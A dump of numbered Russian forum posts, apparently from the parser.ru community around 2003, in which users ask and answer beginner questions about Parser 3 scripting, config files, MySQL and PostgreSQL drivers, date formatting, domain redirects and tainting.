"17455","На сайте уже год ничего нет (ну кроме супер-пупер секундомера).\
\
И будет ли доступен вообще?\
\
\"Некая универсальная версия Imprimatur появится в свободном доступе в какой-то момент\"\
\
Константин Моршнев\
\
http://www.onlybest.ru/news/?action=novelty&id=95\
\
P.S. communiware.ru открыли исходники неделю назад! Но там полный швах!"
"17456","Большое спасибо за помощь."
"17457","очень просто: вставляешь форум в <iframe> (плавающий фрейм)."
"17458","Я начал изучать Parser, и у меня никак не получается написать нормальный файл sections.cfg.\
Подскажите, пожалуйста, код этого файла, как его правильно написать."
"17459","Знаю что это можно написать как-то так, а как в доке не написано.\
\
^if($days.$week_day==$now.day; $link_year==$now.yea; $link_month=$now.month){}{}\
"
"17460","Примнер\
машиныTABкол-воENTER - названия столбцов\
ваз21-10TAB1ENTER    - собственно сами данные\
\
и так далее"
"17461","... логическое \"И\""
"17464","Вот так выглядит мой sections.cfg\
\
section_id      name    uri\
1       Main    /\
2       News    /news/\
3       Contacts        /contacts/\
4       Price   /price/\
5       Your oppinion   /gbook/\
\
А вот так auto.p\
\
@navigation[]\
$sections[^table::load[sections.cfg]]\
<table width=\"100%\" border=\"1\">\
   <tr>\
   ^sections.menu{\
      <td align=\"middle\">\
          <a href=\"$sections.uri\"><nobr>$sections.name</nobr></a>\
      </td>\
   }\
   </tr>\
</table>\
\
И вот, что пишет броузер:\
\
Unhandled Exception (Debug)\
column not found\
uri\
\
f:/www/parser/auto.p(7)\
exception.type=parser.runtime \
--------------------------------------------------------------------------------\
menu f:/www/parser/auto.p(5)\
navigation f:/www/parser/index.html(1)\
\
И что с этим делать???"
"17465","http://www.parser.ru/forum/?id=17436"
"17466","хочется написать страницу на которой будет выводится заголовки новостей по 4 категориям. а после клика на какой-либо заголовок переходить на страницу с полной новостью. и в админ интерфейсе чтобы можно было выбирать в какую категорию постить новость. \
\
подскажите пожалуйста как такое написать, может есть где-либо исходники, вообще в каком направлении думать. Очень хочется верить что на парсере это легко реализуемо.\
\
Заранее всем спасибо."
"17467","Спасибо за ответ.\
Пробелы проверил, их нет. Написано uri.\
Но все равно ничего не хочет работать!\
Броузер пишет то же самое.\
Прям не знаю, что и делать..."
"17468","1. скопируй _test.html из соответствующего раздела\
2. положи его в корень веб пространства твоего веб сервера и обратись к нему из броузера http://твой_сервер/_test.html\
3. он создаст тебе рядом с собой _test.cfg, который имеет заведомо верный формат.\
4. садись и ищи отличия в cfg файле созданным тобой и с помощью _test.html...\
\
P.S. наверняка твой текстовый редактор (хоть бы написал, чем ты этот файл создаешь/редактируешь) сохраняет не табуляции а не пойми чего... или добавляет какой-нибудь мусор..."
"17469","[quot]Что ему ответить? CGI?[/quot]\
\
да, CGI\
\
[quot]Итак, внимание, вопрос!!!! :)\
Какие вопросы задать хостеру и что от него потребовать?[/quot]\
\
спросить его, можете ли вы положить и исполнять свои собственные CGI, и если да, то куда их нужно для этого положить и какие права установить."
"17470","Если вам хочется НАПИСАТЬ новостную ленту...\
То сначала надо определиться что и как вы собираетесь использовать...\
Задействовать базу данных или использовать текстовой или любой файл.(Первое более правильное...)\
Можно (скорее даже нужно) создать отдельный класс напр. @News\
А когда вы определитесь, то картина создания будет вам уже ясна и останеться только лишь написать...\
\
P.S.\
Считаю, что использовать в таком случае чужие исходники - неправильно (если вы хотите сами научиться...)\
На своих ошибках мне кажеться люди учаться все таки быстрее.\
\
Есть неплохая документация и отличный форум чего же ещё надо?..."
"17471","возникшие в процессе мы вам поможем найти ответ. \
Посмотрите на примеры в документации.\
Это не просто, а очень просто. :)\
"
"17472","а дальше - читать пост redactor`a"
"17473","Только изучаю парсер и вообще не программер я. :( вот и хотел спросить у умных людей с чего начать думать и в каком направлении. Определился сразу что нужна база данных, по другому делать не рационально. Нужна точка с которой надо начинать."
"17475","то есть не могу понять что нужно делать что бы расширить пример про новости. еще видно не дорос. :("
"17476","Благодарю за совет.\
Мой редактор [url=\"http://www.winsyntax.com/\"]Ariesoft Winsyntax v.2.0[/url]. И ,по-моему, мусор он не добавляет, но я проверю."
"17477","Делай две таблицы к примеру category и bulletin, первая будет содержать id_category и name категории, а вторая id_bulletin, id_category, title и text информационного сообщения."
"17479","Все работает!\
_test.html не создал файла _test.cfg, но когда я в обычном Notepad'е от начала до конца напечатал нормально текст файла sections.cfg, сохранил и запустил в броузере страницу то увидел наконец-то меню навигации.\
\
Спасибо всем кто писал мне, теперь я могу продолжать изучение чудесного Parser'a :-) !"
"17480","Да, скорее всего Winsyntax поставил пробелы."
"17481","Эпилог:\
Ошибка: 'libparser3mysql.so' driver implements API version 0x0003 not equal to 0x0005\
Я покопался по форуму не помогло!\
\
Как это было: \
Скачал всё с раздела download:\
 * скрипт (версия 0007) для freebsd (cgi без xml)\
 * скачал дрова mysql (версия 0006)\
(не парьтесь короче то, что в том разделе вся и закачал)\
\
Закачал...\
\
Добавил auto.p:\
@auto[]\
$SQL[\
	$.drivers[^table::set{protocol	driver	client\
mysql	libparser3mysql.so	libmysqlclient.so\
}]\
]\
\
\
И постояннно выдаёт эта ошибка.\
Libmysqlclient.so я тоже скачал...\
\
Так всё-таки где взять новый libparser3mysql.so (версии 0007) или старый парсер (версии 0006)?\
Сколько не рылся на форуме не понял Ваших московских приколов..."
"17484","Пишет что ошибка здесь\
$link_month==$mounth_num[^eval(${mounth_num}+1)]\
\
в этом контексте\
\
^for(0;3){\
  <tr>\
  ^for(0;2){\
    <td bgcolor=\"f0f0f0f0\">\
	  ^if($days.$week_day==$now.day && $link_year==$now.year && $link_month==$mounth_num[^eval(${mounth_num}+1)]){\
	    $calendar_locale.month_names.[$mounth_num]}{\
		<a href=\"?year=${link_year}&month=${mounth_num}&day=$link_day\">$calendar_locale.month_names.[$mounth_num]</a>\
		}\
	</td>\
    }\
  </tr>\
  }\
\
Отвечает он на это вот так\
\
Unhandled Exception (Debug)\
\
/www/asha.pp.ru/html/news/auto.p(53:86): parse error, expecting `EON'\
exception.type=parser.compile "
"17486","На сколько я понял вы сравниваете с переменной которую только назначаете...\
Мне кажется что назначение должно быть до сравнения :)\
\
Выньте [code]$mounth_num[^eval(${mounth_num}+1)][/code]\
\
из ^if'а и положите выше по коду...\
\
А потом напишите -\
\
[code]$link_month==$mounth_num[/code]\
\
Не проверял но должно помочь :)"
"17487","А у вас libparser3mysql.so случаем не в папке lib лежит?\
Если да, то пропишите путь к нему...\
\
P.S\
\
Из стандартного auto.p :\
[code]\
#change your client libraries paths to \
those on your system\
$SQL[\
	$.drivers[^table::set{protocol	driver	client\
mysql	$sqldriversdir/libparser3mysql.so	libmysqlclient.so\
pgsql	$sqldriversdir/libparser3pgsql.so	libpq.so\
oracle	$sqldriversdir/libparser3oracle.so	/u01/app/oracle/product/8.1.5/lib/libclntsh.so?ORACLE_HOME=/u01/app/oracle/product/8.1.5&ORA_NLS33=/u01/app/oracle/product/8.1.5/ocommon/nls/admin/data\
}]\
]\
[/code]"
"17491","$link_month==$mounth_num[^eval(${mounth_num}+1)] - про такую конструкцию парсер ничего не знает. я - тоже."
"17492","что я рекомендовал положить _test.html в корень веб пространтва:\
[quot]\
2. положи его в корень веб пространства\
[/quot]\
\
при таком раскладе как раз и оказывается, что _test.cfg создается рядом с ним.\
\
P.S. когда просят помощи, по моему можно внимательно относится к ответам."
"17493","...конфигурационного auto.p...\
\
я не знаю, можно-ли определить его в другом месте (сверьтесь с документацией) и посмотрите, что у вас написано в конфигурационном файле по поводу подключаемой библиотеки.\
\
проверьте, точно вы скачали именно 0006 версию драйвера mysql (попробуйте скачать еще раз).\
\
попробуйте удалить свое определений $SQL из @auto[] и запустить _test.html - может он что прояснит..."
"17496","Говорит что\
[code]\
Unhandled Exception (Debug)\
column not found\
exception.type=parser.runtime \
--------------------------------------------------------------------------------\
if /www/asha.pp.ru/html/news/auto.p(53)\
for /www/asha.pp.ru/html/news/auto.p(50)\
for /www/asha.pp.ru/html/news/auto.p(48)\
calendar /www/asha.pp.ru/html/news/index.html(7)\
body_additional /www/asha.pp.ru/html/auto.p(75)\
body /www/asha.pp.ru/html/auto.p(10)[/code]\
\
"
"17498","> насколько я понимаю, $SQL должен быть определен в методе @conf\
> []...\
\
Не обязательно просто должен быть определён хэш $SQL, на локальной машите нормально описанный @auto[]...\
\
Драйвер скачал заново (из раздела \"скачать\" :), по какому уже разу) -- ничего не изменилось!\
\
Запускал тестовый файл (без присутствия на сервере auto.p, я его удалял):\
$env:SERVER_NAME\
$SQL[\
$.drivers[^table::set{protocol	driver	client\
mysql	libparser3mysql.so	libmysqlclient.so\
}]\
]\
^connect[mysql://.....?charset=cp1251_koi8]{\
 ^int:sql{SELECT 2+2}\
}\
-- Та же ошибка...\
\
Просто файл:\
$env:SERVER_NAME\
-- Работает, что не удивительно :)\
\
В cgi-bin, как было так и осталось:\
- libparser3mysql.so (0006)\
- libmysqlclient.so\
- parser3.cgi (0007)\
\
Вопрос остаётся открытым!\
PS: При обращении на Вы, я чувствую себя каким-то динозавром.\
-- Можно на ты :)"
"17500","то есть написал страницу на которой из базы вызываются заголовки навостей, очень хочется сделать что бы при клике на заголовок динамически строилась страница с полной версией новости. Вот никак не соображу как это сделать. Помогите плиз."
"17501","Ну делать нечего нашёл два старых (0005, 0006) парсера...\
\
* 0005 не знает про метод split,\
http://www.parser.ru/f/1/download/freebsd/parser3_3_0_0005_freebsd46R_grpunlim_cgi.tar.gz\
\
* 0006 -- опять та же самая ошибка...\
http://www.parser.ru/f/1/download/freebsd/parser3_3_0_0006_freebsd47R_grpunlim_cgi.tar.gz\
\
Ничего не понимаю.\
PS: Согласен на лоботомию, но помогите, как эту проблему-то решить :)"
"17502","скачайте отсюда - http://www.parser.ru/download/utils/ тестовый файл, положите его в корень веб пространства, посмотрите что он вам напишет. Особенно интересует момент про MySQL.\
\
Выглядит оно обычно примерно [url=\"http://www.parser.ru/_test.html\"]так[/url]. "
"17503","я только что пошёл, выкачал файлы, о которых вы пишете, запустил тест, всё OK.\
\
выстрел в темноту: вы распаковали архив с новой версией не туда, и закачали старую версию.\
\
не буду приводить размеров файлов? сами всё аккуратно проверите?\
\
\
http://www.parser.ru/f/1/download/freebsd/parser3_3_0_0007_sp1_freebsd47R_cgi.tar.gz\
\
http://www.parser.ru/f/1/download/freebsd/parser3sql_3_0_0006_freebsd47R_mysql.tar.gz\
\
http://www.parser.ru/f/1/download/freebsd/parser3conf_20020802_unix.tar.gz\
"
"17504","Всё сделал по инструкции, и всё заработало!!!\
Я сдуру скачал кривую libmysqlclient.so!\
СПАСИБО!\
"
"17506","$mouth_num1[0]\
...\
$mounth_num2[^eval(${mounth_num1}+1)]\
....\
\
^if($link_month==$mounth_num2){\
...}{\
...\
}\
\
так парсер поймет..."
"17507","который вы предложили, немного дополнил и всё заработало.\
\
Правда переделывал я раза 3 (в смысле от корки до корки) :)\
\
Спасибо за помощь.\
Олег"
"17508","вариант 1:\
[code]\
$counter(0)\
…\
^counter.inc[]\
[/code]\
\
вариант 2:\
[code]\
^if($a == $b+1){…}\
[/code]\
\
вариант 3:\
[code]\
$b($a+1)\
[/code]"
"17509","Ну нету в имприматуре чего-то такого, что бы заставляло его так истово желать, уж поверь. Я почерпнул из виденного только понимание, как правильно устраивать хранение дерева документов в БД + кучу рецептов в области javascript (рассматривая код Leechy), но желания слепо копировать его в собственных разработках не возникло. Вряд ли имприматур поможет человеку, не готовому принять его концепцию - множества xml/xsl связок, концепцию разных обработчиков - блочных и страничных и т.п. Просто поверьте, что И. - не революция, а просто добротный продукт, аналог которому вам написать по силам ;-) \"Меньше экспрессии!\" :-) "
"17510","то есть написал страницу на которой из базы вызываются заголовки навостей, очень хочется сделать что бы при клике на заголовок динамически строилась страница с полной версией новости. Вот никак не соображу как это сделать. Помогите плиз."
"17511","Каждая новость должна иметь свой уникальный id\
\
При выводе заголовков став ссылку на этот id.\
\
Посмотри хотя бы на этот форум \
id твоего сообщения \"?id=17510\" \
тоесть 17510\
\
От этого и стоит плясать...\
\
А вот как вынуть из строки номер id и использовать при выводе уникальной новости подумай сам.\
\
Можно привязать новость не к id, а к дате.\
Строка будет напр. ?2003-06-13 или ?date=2003-06-13\
\
Можно так же задействовать mod_rewrite чтобы получить строку типа\
/2003/06/13/\
\
Вообщем можно сделать что угодно - как кому нравиться...\
Есть масса вариантов - тебе остается только выбрать что тебе подходит больше..."
"17512","Мне нужно создать базу данных средствами MySQL с именем p3test, содержащую одну единственную таблицу news с полями id, date, header, body: \
\
id     int not null auto_increment primary key \
date   date\
header varchar(255) \
body   text\
\
Я уже пробовал создать её в графической оболочке [url=\" http://mysql.directnet.ru/Downloads/mysqlgui/mysqlgui-win32-static-1.7.5-2.zip\"]mysqlgui[/url], но к сожалению пока ничего не выходит.\
\
Заранее благодарю. \
"
"17513","Cоздание БД :\
[code]\
CREATE DATABASE p3test\
[/code]\
Создание таблицы news, а так же полей в ней :\
[code]\
CREATE TABLE news (\
  id int(11) NOT NULL auto_increment,\
  date date NOT NULL default '0000-00-00',\
  header varchar(255) NOT NULL default '',\
  body text NOT NULL,\
  PRIMARY KEY  (id)\
) TYPE=MyISAM;\
[/code]\
\
Для таких вот проблем существует http://www.mysql.com/doc/en/\
\
Так же вам советую поставить Денвер (там есть PhpMyAdmin)\
\
Ну или отдельно без Денвера...\
\
Или найти программку MySQL Front"
"17515","<Sanja v.2> Ну нету в имприматуре чего-то такого, что бы заставляло его так истово желать, уж поверь. \
\
Тебе верю! Спасибо что написал и прояснил. \
\
<Sanja v.2> Вряд ли имприматур поможет человеку, не готовому принять его концепцию - множества xml/xsl связок,\
\
Вот тут извини, не понял.  Это ты про Imprimatur II говоришь?\
\
<Sanja v.2> концепцию разных обработчиков - блочных и страничных и т.п. Просто поверьте, что И. - не революция, а просто добротный продукт, аналог которому вам написать по силам ;-) \"Меньше экспрессии!\" :-)\
\
А вот эта фраза \"просто добротный продукт\", корневая. Написать добротный продукт могут единицы,  как отдельные личности, так и компании.\
А у Студий всё добротное. Всё что они делают самого высокого класса (кроме документации для Parser - она просто ужасная :о().\
Вот почему я здесь (думаю и ты тоже). Есть у кого учиться!\
\
Очень хочется пользоваться добротными продуктами! По этой причине спросил и «так истово желаю» смотреть и пользоваться!\
Ну а насчёт \"Меньше экспрессии!\"    Это  ты перегнул   :-)\
\
Спасибо"
"17516","Спасибо за помощь! Я уже использую Денвер, и с помощью PhpMyAdmin создал БД. Все работает."
"17519","почитай про такой хороший инструмент как MySQL-Front.\
потом просто набери в гугле \"download mysql-front\"ю\
все"
"17520","Скажите пожалуйста, поставил пакет Денвер под Win98 все вроде начало работать, перенес старые наработки с Unixa и попытался использовать то, что раньше пользовал на Unixe -> DBI::Perl.\
Получил,следующее: говорит мол не знаю такого. Скажите что мне надо поставить? Откуда? Посоветуйте.где взять этот самый интерфейс для связи Perl и MySQL под win??"
"17524","В Уроке 4, документации по Parser'у дата в MySQL и форме заполнения новостей имеет формат:\
\
2003-06-14\
\
А как сделать, чтоб у нее был формат:\
\
14 июня 2003 года "
"17526","Нужно сделать хеш ну и [code]$now[^date::now[]] [/code]\
[code]\
$month[ \
   $.1[Январь] \
   $.2[Февраль] \
......\
   $.3[Декабрь] \
] \
[/code]\
А потом вызвать\
[code]\
$month.$now.month\
[/code]"
"17527","Класс позволяет преобразовывать DATE(yyyy-mm-dd), TIME(HH:MM:SS) и DATETIME(yyyy-mm-dd HH:MM:SS) в то что нам надо.\
\
[code]\
@sqltrans[sql-all;forma]\
$sql1[^sql-all.split[ ;h]]\
$sql-date[$sql1.0]\
$sql-time[$sql1.1]\
$dsql[^sql-date.split[-;h]]\
$tsql[^sql-time.split[:;h]]\
$year[$dsql.0] #год в формате 2003\
$month[$dsql.1] #месяц в формате mm -  01, 10\
$day[$dsql.2] #день в формате - 01, 28\
$Day[$len[^day.left(1)]^if($len ne 0){$day}{^day.right(1)}]\
#день в формате 1, 28\
$hour[$tsql.0] #час в формате HH - 03, 21\
$min[$tsql.1]$sec[$tsql.2] #минуты в формате 01, 56\
$Month_r[^switch[$month]{\
^case[01]{января}\
^case[02]{февраля}\
^case[03]{марта}\
^case[04]{апреля}\
^case[05]{мая}\
^case[06]{июня}\
^case[07]{июля}\
^case[08]{августа}\
^case[09]{сентября}\
^case[10]{октября}\
^case[11]{ноября}\
^case[12]{декабря}\
}] #месяц текстом в родительном падеже\
$Month_i[^switch[$month]{\
^case[01]{Январь}\
^case[02]{Февраль}\
^case[03]{Март}\
^case[04]{Апрель}\
^case[05]{Май}\
^case[06]{Июн}\
^case[07]{Июль}\
^case[08]{Август}\
^case[09]{Сентябрь}\
^case[10]{Октябрь}\
^case[11]{Ноябрь}\
^case[12]{Декабрь}\
}]#месяц текстом в именительном падеже\
[/code]\
\
В итоге мы получаем исходные данные, которые можем уже преобразовывать как хотим. Для этого добавим к коду следующее:\
\
[code]\
^switch[$forma]{\
^case[hh:mm]{${hour}:${min}} #выдаст 03:56 \
^case[dd.mm.yyyy]{${day}.${month}.${year}} #выдаст 08:06:2003\
^case[DMy]{$Day $Month_r $year} #выдаст  1 июня 2003\
^case[My]{$Month_i $year} #выдаст  Июнь 2003\
^case[myformat]{$Day $Month_r $year ^[${hour}:${min}^]}\
#выдаст  1 июня 2003 [03:56] \
}\
[/code]\
\
Думаю идея ясна. Добавляем в этот switch такие case, которые нужны и потом соответственно вызываем.\
\
^sqltrans[2003-06-14 22:31:31;myformat] выдаст нам следующее:\
14 июня 2003 [22:31]\
\
Надеюсь, что помог. :)\
\
Parser 3 уже внутри."
"17533","$a(1+2) и $a(^eval(1+2)) - совершенно одинаковы по функциональности..."
"17534","с его помощью это можно реализовать так: \
\
^dtf:format[%d $h %Y;2003-06-14]\
\
к тому же если посмотреть как он сделан изнутри, можно много нового для себя почерпнуть..."
"17535","предположим есть два доменных имени domain.ru и my-domain.ru\
у хостера главный домен domain.ru, а my-domain.ru это его алиас, так вот, по какому адресу незайди переменные\
[code]\
$env:HTTP_HOST\
$env:SERVER_NAME\
[/code] \
выдают domain.ru,\
просто нужно сделать редирект с my-domain.ru на domain.ru,\
чтобы куки в некоторых разделах ставить только на один домен,\
и вообще от второго просто хотим отказаться:)\
"
"17536","Разумеется, я сначала искал ответ на форуме. Но не нашёл. Так, вручную переписанный sections.cfg не помогает."
"17538","Как создавоть и отслеживать сесии.\
Намекните как быть с cookie, есть ли ещё варианты.\
Где можно почитать о сесиях?\
\
Заранее благодарю за помощ."
"17539","По-моему, это уже обсуждалось, поиском искал, но все равно я не понял, как исправить это дело. Мне это нужно для того, чтобы, к примеру, Яндекс корректно понимал дату последней модификации страницы (а то он пишет, что \"Сервер не выдает дату последнего изменения документа!\").\
Как сделать это максимально просто? Куда какой код добавить?"
"17540","Не могу понять. Пытаюсь разобрать набор параметров передаваемых через запятую в переменной \"col\":\
$c[^col.match[\\,][']]\
$i(1)\
$c_$i[$c.prematch]\
$a[$c.postmatch]\
$b[\" \"]\
^while($a gt $b){\
	$c[$a]\
	$c[^col.match[\\,][']]\
	^i.inc[]\
	$c_$i[$c.prematch]\
	$a[$c.postmatch]\
}\
\
Парсер сообщает:\
endless loop detected\
while\
Вроде бы все правильно?"
"17541","Надо добавить поле Last-modified в заголовок  примерно так (Apache корректирует это поле):\
[code]$response:Last-modified[Fri, 28 Mar 1986 15:30:00 GMT][/code]"
"17542","проблема такая:\
если добавить большой текст (у меня 40кб) - то возникает Unhandled Exception, в логе же пишет: 'select data from text' pqReadData() --  read() failed: errno=2|No such file or directory| [sql.execute]. если этот большой текст убрать - все работает. \
данные добавляю через клиента базы (внутренним драйвером) - в базе данные сохраняются - их можно просматривать.\
подскажите где может быть проблема? \
\
Postrgresql 7.3\
IIS 5\
Parser 3"
"17543","http://www.parser.ru/docs/lang/?stringsplit.htm"
"17544","а через ODBC все получилось. "
"17545","у меня таких проблем не возникало... засылаю все через web- интерфейс"
"17547","Вот, например, познавательная статья моего хорошего старого друга: ;-) \
http://www.citforum.ru/internet/securities/phpsecure.shtml"
"17548","Я ему пишу\
\
[code]\
^if($user.name eq $form:name && $user.password eq $form:password){…вы авторизованы $cookie:login_name[$.value[$form:name]$.expires(90)]}\
  {Вы допустили ошибку, попробуйте повторить вход.<br> <a href=\"/reg/reg/\">регистрация</a>}\
[/code]\
\
а он если условия верны\
\
[code]\
…вы авторизованы {Вы допустили ошибку, попробуйте повторить вход.\
регистрация}\
[/code]\
\
если условия не выполняются\
[code]\
{Вы допустили ошибку, попробуйте повторить вход.\
регистрация} \
[/code]\
\
Фигурные скобки парные - проверял, что ещё может быть?\
"
"17550","Спасибо. Работает. Если это дело в auto.p прописать, то автоматом все страницы будут под этой датой проходить, правильно? (извините за ламерский вопрос)"
"17554","поместил в index.html пример взятый из\
http://www.parser.ru/examples/tainting/ \
[code]\
@test1[]\
$txt[<]\
$result[$txt]\
\
@test2[]\
$txt[<]\
$result[^taint[html][$txt]]\
\
@main[]\
test1:'^test1[]'<br />\
test2:'^test2[]'<br />\
^if(^test1[] eq ^test2[]){ИСТИНА}{ЛОЖЬ}\
[/code]\
и в рузльате в обоих случаях вижу одно и тоже. что я могу делать неправильно?"
"17555","Может кто пояснит в чем тут собака порылась?\
\
Online Documentation\
TYPO3.org is offering a new way of presenting documentation online by a newly created Open Office Document Parser. Check out the list of documents that are currently available here: \
typo3.org/1421.0.html\
\
"
"17557","Вот так сразу видно разницу:\
[code]\
@test1[]\
$txt[<b>b</b>]\
$result[$txt]\
\
@test2[]\
$txt[<b>b</b>]\
$result[^taint[html][$txt]]\
\
@main[]\
test1:'^test1[]'<br />\
test2:'^test2[]'<br />\
^if(^test1[] eq ^test2[]){ИСТИНА}{ЛОЖЬ}\
[/code]"
"17558","HTTP_HOST должен быть разный. вы проверяли, или высказываете свои предположения?\
\
а на SERVER_NAME влияет UseCanonicalName, которое, правда, в .htaccess не меняется, но."
"17559","на момент написания текущего драйвера для PostgreSQL был всего один способ хранить большие строки в базе: в больших объектах.\
\
возможно, ситуация переменилась, однако я её не отслеживаю, поскольку мы в студии PgSQL в работе не используем.\
\
если таблицы ваши, создайте колонку типа «oid», и пользуйтесь расширенным синтаксисом insert/update запросов, см. http://www.parser.ru/docs/lang/lesson4.htm\
"
"17560","вы текст объяснения после примера читали?"
"17561","У меня была подобная штука http://www.parser.ru/forum/?id=10589 Собрал libpg.dll для той версии PgSQL которую использую, и всё нормально заработало.\
\
PS: Могу если надо послать библиотеку для PgSQL 7.3.2"
"17563","читал и не раз и документацию читал. довольно сложно въехать - идея ясна вроде и понятна\
а потом почитал: http://www.parser.ru/forum/?id=788 и http://www.parser.ru/forum/?id=873 и вроде прояснилось"
"17565","Низкий поклон вам… Дело в том что, сегодня защитил диплом по поводу динамических сайтов. (сделал пакет программ заточенный для создания сайтов + web- интерфейс для администрирования)  При написании использовал ваш parser3 , в чем очень доволен. Общем, очень вам большое спасибо. Всех благостей и т.п.  Писать больше не могу т.к. не в состоянии… сейчас пойдем дальше отмечать ;) "
"17568","уж больно хочеться посмотреть, что можно написать на эту тему...."
"17570","можете помотреть сами [url=\"http://www.atma.ru/env.html\"]www.atma.ru/env.html[/url]\
и [url=\"http://www.my-atma.ru/env.html\"]www.my-atma.ru/env.html[/url]\
\
код страницы:\
[code]\
^$env^:HTTP_HOST= $env:HTTP_HOST <br>\
^$env^:SERVER_NAME= $env:SERVER_NAME \
[/code]"
"17571","я к вам пришёл, \
[code]\
telnet www.my-atma.ru 80\
[/code]\
и попросил это:\
[code]\
GET /env.html HTTP/1.1\
host:www.my-atma.ru\
[/code]\
\
в ответ получил такую забавную фигню:\
[code]\
HTTP/1.1 200 OK\
Date: Mon, 16 Jun 2003 12:12:22 GMT\
Server: Apache/1.3.27 (Unix) mod_perl/1.26 PHP/4.3.1 AuthMySQL/2.20\
content-length: 89\
Connection: close\
Content-Type: text/html; charset=windows-1251\
\
$env:HTTP_HOST= www.atma.ru, www.atma.ru, www.atma.ru <br>\
$env:SERVER_NAME= www.atma.ru\
[/code]\
\
причём в MSIE такого не наблюдаю.\
очевидно, у вам как-то совсем забавно настроено.\
\
\
могу рассказать, как делаем мы[http://parser.ru/]:\
в apache два виртуальных хоста, и redirect со вспомогательного на основной."
"17572","работает как часы."
"17573","Т.к. 11 июня тоже защитил Диплом, в котором Парсер фигурировал."
"17574","как сделать, это просто говорю просто, что  my-atma.ru смотрит например /redirect/index.html а от туда я уже перкидываю на atma.ru\
но это не суть:)\
настроено на Зеноне и в правду интересно:\
насколько ивестно+мои предположения:\
там есть центральный сервак на который смотрят все днс записи клиентов, вот потом для каждого заведен не виртуал хост, а отдельный апач как процесс, так вот этот главный делает редирект с себя на клиентский апач.\
если вы скажите как парсер читает переменную окружения, то может будет понятно...\
"
"17575","zenon: там могли накрутить. ведь там и акселератор..\
\
предлагаю вам обратиться к env.sh, в котором вывести все переменые окружения. вдруг что-то полезное заметите."
"17576","Товарищи программисты, кто-нибудь из вас прикручивал проверку орфографии на сайты?\
\
Orfo не катит.\
\
И я не иммею ввиду, что вы разрабатывали огромные словари, и алгоритмы, делающие проверки. Может кто нашел хорошии интернет-сайты делающие это, и дающие возможность проверить другим ;)"
"17577","при выполнении\
$cgi_file[^file::cgi[/cgi-bin/search/search.pl]] \
$cgi_file.text\
\
получаю результат:\
\
Configuring Perl ... Unable to open f:/development/aproject/site/local/httpd/documents_root/www//cgi-bin\\lib\\Config.pm : No such file or directory Press [Enter] to continue: "
"17578","и я тоже хочу сказать спасибо! большое-пребольшое. у меня код для простенькой статистики посещения занял 40 строчек - супер! столько же занял и чудесный парсер на основе replace. спасибо вам огромное. "
"17580","в том то и была проблема, что в скрипте не было вообще упоминаний о модулях... проюлема оказалась в другом: скрипт search.pl вызывал скрипт \"./config.pl\", но дело в том, что exec меняет текущий каталог на каталог скрипта (т.е. на каталог с файлом perl.exe), в котором у ActivePerl`а тоже есть файл с названием config.pl, а уже в нем вызывается файл config.pm (путь до него задан ../lib/config.pm, но этот путь вычисляется уже от корня web-пронстранства сайта!)! Эх надо было мне внимательнее читать документацию"
"17581","Решил посмотреть, что выйдет с\
http://www.parser.ru/examples/imagemagic/\
\
Кажется, что все перед глазами и понятно, images.pl - создал, создаю обычно в fare, проверил на всякие там коретки, даже скачал прогу, кторую вы давно в форуме оставляли rem_cr.exe ).\
\
Итак. Ошибок никаких не выдает. Сохраняет закаченный файл, но якобы уменьшенного вариана нет.\
\
Иду в images.pl - все верно с примером. Играю с путями, одно и тоже.\
\
Пробовал все и и у себя на машине и на хостиге (валуехост).\
Труба. Вероятно всего с imagemagick? ХотяОн его подключает же и использует...\
\
Наверно, этот пост к Eugene Spearance, заранее благодарен всем на ответы)"
"17582","Если нет их нужно скачать с http://imagemagick.org и установить.\
Если они есть, то дело всеже в путях, покажите кусок кода (можно мылом), с описанием где и что лежит и я попробую помочь.\
\
\
P.S. Я немного переделал пример оформив resize в класс... к вечеру в разделе \"примеры\" смотрите обновления в статье \"Изменение размеров графического изображения...\"."
"17583","Как оказалось, дело действительно было в клиентской библиотеке -  libpq.dll 7.1.2 которая по-моему идёт в поставке парсера по-умолчанию, не работает нормально с версиями 7.2 и выше.\
\
Если надо я могу прислать libpq.dll версии 7.3.2 для включения её в дистрибутив парсера."
"17585","Люди, туплю я чего-то. \
Как это сделать?\
Код:\
$without_q[/main/]\
$without_q[$without_q/index.html]\
В результате /main//index.html\
Надо:\
$without_q[/main/]\
$without_q[$without_qindex.html]\
Хотелось получить /main/index.html\
А в результате фигня ( и правильно, так писать нельзя. У трансля-\
тора мозги отвалятся ) А как верно?"
"17586","вы прочтёте в доке, или подскажут люди.\
\
важно: чтобы пользователь никогда не видел url, в котором есть «index.html». это имя техническое, и знать о нём необходимо только… веб-серверу. пользователю же совершенно не зачем."
"17587","А пользователь и не увидит, если что. Суть вопроса другая -\
как объеденить две строки."
"17588","[code]\
$without_q[/main/]\
$without_q[${without_q}index.html]\
[/code]"
"17589","На виртуальном Хостинге я так понимаю да. Смотрел тут: http://v6.valuehost.ru/cpan_list.txt\
\
На своей машине качал и ставил. Я так понимаю его видно, указано  [Code]use Image::Magick;[/Code] и ошибок нет.\
\
Я к вечеру вышлю код и все более детально. \
/Может кому-то и это поможет потом/)"
"17590","Вот текст index.html\
^page[]\
@greeting[] \
Добро пожаловать! \
при обращении к index.html Парсер выдает:\
\
y:/home/test2.ru/www/index/index.html(2:1): parse error, expecting `$'\
exception.type=parser.compile \
\
Что я не так написал?\
\
"
"17592","фильтровать мат бесполезно, если кто-то хочет, он напишет.\
поэтому держимся на культуре."
"17593","[code]\
@main[]\
^page[]\
\
@greeting[]\
xxx\
[/code]\
\
этот, и многие другие вопросы, возникающие при знакомстве с parser уже были обсуждены — пожалуйста, перед публикацией вопроса поищите в форуме текст сообщения об ошибке. или поищите те слова, которые хотите опубликовать."
"17595","Приветствую.\
Пытаюсь поставить Parser под XP на локальной машине. Но когда открываю, чтобы прописать Extansion Mapping, кнопка ОК неактивна. Подскажите, как сделать ее активной."
"17596","использую нижеприведенный код\
[code]\
$all_menu[^table::sql{select id, title, dir, parent_id from table}]\
^all_menu.sort{$all_menu.id}\
[/code]\
врезультате получаю таблицу отсортированную таким образом где ID идет так\
1,11,12,13,2,21,22,3,31,32,.... \
а хотелось бы  1,2,3,4,.....11,12,13,....."
"17597","фигурные скобки говорят, что сортируешь как строки...\
\
и вот еще что... по моему данное действие правильнее делать средствами SQL"
"17602","Пока что нет (не видно), но желательно наличие функций для более полноценной обработки строк,\
напр., \
\
- tr (y) из перла\
(напр., как написать перекодировку строки из доса в винды?\
сейчас можно, но мучительно долго; а если целый файл нужно перекодировать?)\
\
- преобразования символ-код и код-символ\
\
- форматные строки: нужны и прочие команды форматирования  (не только числа, но и строки (%c %s))\
"
"17603","У меня такой вопрос:\
\
